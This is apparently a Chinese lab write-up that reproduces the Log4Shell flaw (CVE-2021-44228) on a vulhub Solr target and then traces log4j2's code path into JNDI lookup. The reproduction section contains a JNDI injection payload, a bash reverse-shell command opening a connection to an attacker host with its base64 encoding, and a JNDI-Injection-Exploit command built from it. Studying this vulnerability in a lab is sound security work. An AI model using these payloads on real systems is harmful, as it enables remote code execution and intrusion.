一、环境搭建
1、安装docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
2、安装docker-compose
pip install docker-compose
3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
4、进入指定目录启动环境
cd vulhub/log4j/CVE-2021-44228
docker compose up
访问ip:8983
二、漏洞复现
首先在dnslog获得一个dnslog
地址:http://www.dnslog.cn/
开始探测漏洞
进入靶场/solr/admin/cores抓包
在url后添加payload
?action=${jndi:ldap://gn19av.dnslog.cn}
查看dnslog
成功
下载工具JNDI-Injection-Exploit v1.0
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
构造反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
然后进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvNDU2NyAwPiYx
在kali进行监听
利用JNDI-Injection-Exploit v1.0生成payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvNDU2NyAwPiYx}|{base64,-d}|{bash,-i}" -A 攻击机IP
用payload替换之前探测的语句,然后将特殊字符进行url编码
然后点击发送
反弹成功
工具也有回显
三、漏洞分析
log4j2
log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息
JNDI
JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互
利用链流程
这个漏洞是一个标准的JDNI注入,产生漏洞的原因是因为Context.lookup()
的参数可控,导致程序请求攻击者的恶意服务器上的恶意类导致任意代码执行。
首先跟入error()
方法,这里直接调用了logIfEnabled()
在此方法中,会先判断isEnabled()
为true才继续执行
而isEnabled()
的判断是在AbstractLogger
抽象类的子类Logger
中做的
跟进filter()
这里先判断this.config.getFilter()
是否为空,而且默认的config.Filter
为空,所以不会进这里的if语句;然后后续的判断只要是level
不为空而且this.intLevel
只要大于等于log等级的intLevel
就会返回true,所以只要是intLevel
等级在200以下的都可以触发该漏洞,这类的方法有OFF、FATAL、ERROR
其余的无法触发
接着向下跟入
logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()
前面几个由于是单方法的层层传递,就不再跟入,只需要关注的是在logMessage()
中将String类型的message封装到了Message类中即可,然后直接来到Logger.log()
中
这里判断this.privateConfig.loggerConfig.getReliabilityStrategy()
获取的对象是否是LocationAwareReliabilityStrategy
或其子类的实例
这里的strategy
默认为DefaultReliabilityStrategy
的对象实例,而DefaultReliabilityStrategy
实现了LocationAwareReliabilityStrategy
接口
所以上述的if语句会返回true
,进入89行,接着向下深入
DefaultReliabilityStrategy.log() -> LoggerConfig.log()
这里的data
参数为我们传入的语句,这里的this.propertiesRequireLookup
在我们最开始直接获取Logger对象的时候默认设置为false
然后设置props
,此处为null
然后在第279行将message
、props
等变量作为参数,创建了一个LogEvent
类的对象,这里没什么好说的,重点是将我们传入的JNDI表达式(Message对象设置到了LogEvent.messageFormat和messageText中)
然后接着跟入LoggerConfig.log()
这里会判断一次isFilter()
在AbstractFilterable
类中filter
会设置为null,而之前说的LoggerConfig
作为其子类,默认调用的是无参构造方法,没有涉及到对filter
的修改,所以此处的isFilter()
判断必为false
会进入295行的
this.processLogEvent(event, predicate);
在上图的306行有一个if判断,这里是传入的ALL
是绝对为true
的
在307行将event
对象作为参数传进了callAppenders()
方法中
这里有一个循环,但是我们重点是关注AppenderControl.callAppender()
对event
做了什么,所以直接跟进358行callAppender()
中
在第44行会将event
作为参数传入shouldSkip()
中,只有以下三个函数全为false
时才会进入45行的callAppenderPreventRecursion()
isFilteredByAppenderControl() - 判断是否有filter过滤,默认为null,返回false
isFilteredByLevel() - 判断是否通过level过滤,这里默认的level为ALL,所以默认必然为false
isRecursiveCall() - 判断是否递归调用-是则返回true
继续跟进
callAppenderPreventRecursion() -> callAppender0()
这里的isFilteredByAppender()
和之前isFilteredByAppenderControl()
的逻辑类似,也是为了判断是否有filter
过滤,默认为null
,返回false
继续跟入
tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()
判断了一下Constants.ENABLE_DIRECT_ENCODERS
的值,在初始化时静态块中设置为true
跟入
directEncodeEvent() -> PatternLayout.encode()
这里先判断this.eventSerializer
是否是Serializer2
的一个实例,但是在类声明时eventSerializer
被声明成了Serializer
的对象,在构造方法进行初始化时执行了这样一条语句
this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();
其实只需要看看build()
方法
这个方法里出来第一块if分支,其余两个返回的类对象都同时实现了Serializer
和Serializer2
,而pattern和defaultPattern都被设置了,所以肯定会进入encode()
的else
分支
然后这里还有一个需要关注的,就是eventPattern
它其实就是event
序列化的格式,这个也被设置在了eventSerializer
中被一起传入接下来的方法
接下来跟进
toText() -> PatternSerializer.toSerializable()
注:此处的PatternSerializer为PatternLayout的内部类
406行的循环是一个重要的逻辑,最终的触发点也是在这个循环中产生的,这里的this.formatters
其实就是刚刚看的eventSerializer
的一个类属性,就结果来说,循环的每一次执行,就会向buffer
里格式化填充一块数据,每次格式化的数据如下:
(部分截图)
需要说明的是,这里忽略了具体格式化时的逻辑,因为块数据格式化时使用的逻辑可能不同,而且与漏洞无关,重要的只有处理jndi表达式那块
在循环进行到第9次,即索引为8时,会来到漏洞触发的逻辑,继续跟入
PatternFormatter.format() -> MessagePatternConverter.format()
这里首先会有一个类型判断,这里的msg是MutableLogEvent
的实例,实现了LogEvent
, ReusableMessage
, ParameterVisitable
接口,ReusableMessage
实现了StringBuilderFormattable
接口,所以类型判断是通过的
在第106行会将toAppendTo
设置给workingBuilder
(默认情况,不做渲染,走false逻辑)
然后第107行的offset
为偏移量,即从之前格式化的数据之后进行填充
然后重点看114行,这里先做了一个判断,判断config不为空,而且nolookups
为false时,进入之后的逻辑
config的判断不需要关注,需要看看的是nolookups
的判断
在初始化时noLookups
的赋值为如下语句
Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
默认为false
后面noLookupsIdx >= 0
的判断需要跟一下MessagePatternConverter
的初始化。
在初始化时会调用到两次MessagePatternConverter()
构造方法,两次options[]
都是空,那其实没必要深究了
回到MessagePatternConverter.format()
的第116行,这里开始对JDNI表达式进行处理了
直接跟进119行
这里主要是关注我们的JNDI表达式(这里的source
)的传递,这里通过字符串构造了一个StringBuilder
的对象
StrSubstitutor.replace() -> substitute() -> substitute()
注:上述第一个substitute为重载的方法,第二个为主要的处理逻辑
进入了substitute()
发现它又臭又长,其主要作用是递归处理日志输入,转为对应的输出
我们只需要重点关注针对buf
的操作即可,针对buf的操作就只有330行else if
这块
这里的逻辑是删除JNDI表达式中间的$
,其实影响不到我们的注入语句,然后进入else分支
直接来到418行
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
说一下传入的参数
varName - 抽取出的JNDI表达式`${}`中的内容
startPos - 0 pos的初值
pos - JNDI表达式总长的计数,我传入的payload此处值为41
跟入
resolveVariable() -> resolver.lookup()
这里主要的逻辑是先找了一波:
的位置,然后将jndi:
后面的表达式取出,赋值给name
,这里的StrLookup
中包含了多种Lookup对象,可以通过前缀来确定使用哪种lookup
最终跟入
JndiLookup.lookup()
最后就是一路带进Context.lookup()
里了
四、参考文章
https://www.cnblogs.com/Iitt1evegbird/p/15762261.html
https://blog.csdn.net/Bossfrank/article/details/130148819
https://www.freebuf.com/vuls/316143.html
https://www.freebuf.com/vuls/317446.html